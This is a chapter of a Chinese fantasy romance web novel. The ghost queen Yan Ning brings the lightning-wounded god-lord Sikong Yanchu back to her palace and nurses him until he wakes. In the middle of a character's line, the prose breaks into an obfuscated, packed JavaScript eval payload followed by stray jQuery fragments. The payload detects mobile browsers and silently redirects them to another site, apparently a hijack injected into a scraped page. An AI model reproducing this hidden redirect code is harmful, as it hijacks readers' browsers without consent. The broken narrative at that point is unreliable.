她气焰嚣张,所有人大气都不敢出,唯有天帝脸色甚是难看,但他却再未出口阻止燕宁,而是眼眸深沉地望着燕宁带着司空砚初离开。
他们二人离开时,燕宁始终紧紧揽着司空砚初,而她身上的杀气也是一刻未曾消散。
最后这场宴会自然也就不欢而散,就此作罢。
不过这场闹剧过后,关于鬼王和神君的事倒是被添油加醋传遍了神族、妖族、以及魔族。
*
幽兰州王宫。
仲天一等人正其乐融融地嗑着瓜子,好不快哉!
“今日是最后一日了,姐姐应该也快回来了吧。”何幸拉着仲天的袖子道。
“不着急,说不定王上和神君还要在碧天海多待一会儿。”仲天嘴里刚嗑了个瓜子,神态甚是放松。
“你可真心大,那里毕竟是神族的地盘,就算神君与我们王上相好,可若被神族知晓他们二人之事,那神族天帝当真会容忍吗?”卿兰不免一脸担忧地道,她只希望燕宁一切都好。
远舟心虚地转移话题道:“咦,远舟和明昊呢,整天不见人影。”
卿兰斜睨了他一眼,语气冷淡如霜道:“你以为都跟你似的,坐在这儿那么悠闲,他们俩,一个去练兵了,一个去幽兰州入口处巡逻了。”
“别光顾说我,你不也是吗?”仲天一脸不悦地将何幸刚亲手剥出的瓜子仁一股脑儿全塞入嘴里,何幸劝他慢点吃,但为时已晚,他已经噎到了,眼睛瞪得溜圆。
在何幸帮忙拍背下,他这才咳了出来,徒惹得卿兰笑得前仰后合,“你瞧你这副模样,可真是狼狈啊!”
就在仲天想要开口说话时,只见远舟背着满身血污的司空砚初走过来,燕宁则紧随其后,周身散发着浓烈的肃杀之气。
“你们快去把茵茵叫到我寝殿来,快点!”燕宁话一说完,就和远舟一块儿离开了。
仲天还没反应过来到底发生了什么,卿兰和何幸已经去找茵茵了。
*
远舟小心翼翼地将司空砚初放在床榻上,燕宁满脸担忧地握住司空砚初的一只手,催着远舟道:“快去看看茵茵来了没有?”
她话音刚落,就听到茵茵着急的声音从门口传来:“主人,主人,我来了。”
茵茵提着小药箱匆忙踏进来,后面跟着卿兰他们,远舟有眼色地过去支走他们,自己也出去带上了房门。
“怎么回事?神君怎么会变成这样子?”卿兰紧紧抓住远舟的手腕问道,见他皱眉盯着自己,忽地想起俩人现在没什么关系了,便缓缓松开了手。
见状,远舟藏起了眼里的失落,他轻声开口道:“我方才正巡逻时,就见王上带着浑身是伤的神君回来了,听王上说,他是被天雷打成这副模样的。”
“天雷?”远舟大惊失色,“听说神族喜用天雷之刑来惩罚犯错之人,他这遍体鳞伤,到底是被打了多少道才会变成这样?”
远舟轻叹地摇头,随即抬眸望向平静的天空,他浓重的眼眸里满是忧愁。
“恐怕要有大事发生了。”
众人一闻,缄默不语,心照不宣地看向燕宁的寝殿。
*
茵茵帮司空砚初检查了一遍,又给他服用下稳固元神的丹药,燕宁紧张地问道:“他怎么样了?”
“主人,他没什么大碍,只是身上的伤口看着可怕了些,多歇几天就好了。”茵茵松口气回道,若是刚才检查出神君有个好歹,她都不敢想象燕宁会如何。
“他当真没事?”燕宁眼睛一眨不眨地盯着憔悴的司空砚初看,只觉自己整个心脏都扯到一块儿,疼,是真疼。
原来看到他这般受伤,自己会那般疼。
茵茵见她如此担心,安慰道:“主人,他真的没事,神君天生神力强大,恢复也快,问题不大,他现在更需要休息。”
“好。”
茵茵面露犹豫,思来想去,还是问出口:“主人,那个...到底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421879|143679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发生了何事?”
燕宁也不瞒茵茵,简单地和她讲了一遍事情的经过。
听完后,茵茵神色复杂地看了一眼司空砚初,随即为了不打扰他们二人,她便悄悄出去了。
她一出去,就被一直守在门口等的大家逮住了。
在大家担忧的眼神下,茵茵便说了实情,所有人一听都安静了下来。
*
燕宁日夜都守在司空砚初身边,净身擦拭都是她亲自来干,丝毫不假手于人。
可都过了三日,他还未醒来,但茵茵给他瞧过,身体已经恢复了不少,燕宁也去探过他的元神,确实无碍,身上的皮外伤也好得很快。
就像茵茵说的,他体内的神力在自动修复身体,但天雷到底还是折损了他好些修为。
这三日里,伽摩也来了幽兰州,他知道司空砚初尚未醒来,便放心不下,不肯离开。
“阿琰,我终于知道我上次灵力失控那会儿昏迷时,你是什么感受了,醒来后,我还那样子说你,赶你走,你当时一定很难受吧。”燕宁轻轻趴在司空砚初的胸膛上,看着他昏迷的俊容低声呢喃。
“阿琰,你快醒过来,好吗?我心里很慌,想听到你的声音,想让你抱抱我。”
这三日,她和他说了许多话,可他还是没醒来。
燕宁从未想过有一日她会如此爱一个人,如此依赖一个人,他一点点捂热自己的心,一点点让自己接受他。
是他让她明白这世上有不顾一切的爱,甚至是毫无杂质的爱。
一想到此,燕宁眼眶湿润,回忆起两人经历的种种,她的泪水便涌出得更多。
本该是冷情冷心的鬼王,此刻却像个爱哭的小姑娘一般,赖在爱人的身上痛哭流涕。
“怎么又哭了?”沙哑温和的嗓音忽然间打破了燕宁的哭声,燕宁微微愣住,眼睛明明被泪水模糊了视线,却依旧看清了那双明亮清澈的眼睛已经睁开了,正带着一丝无奈看着自己。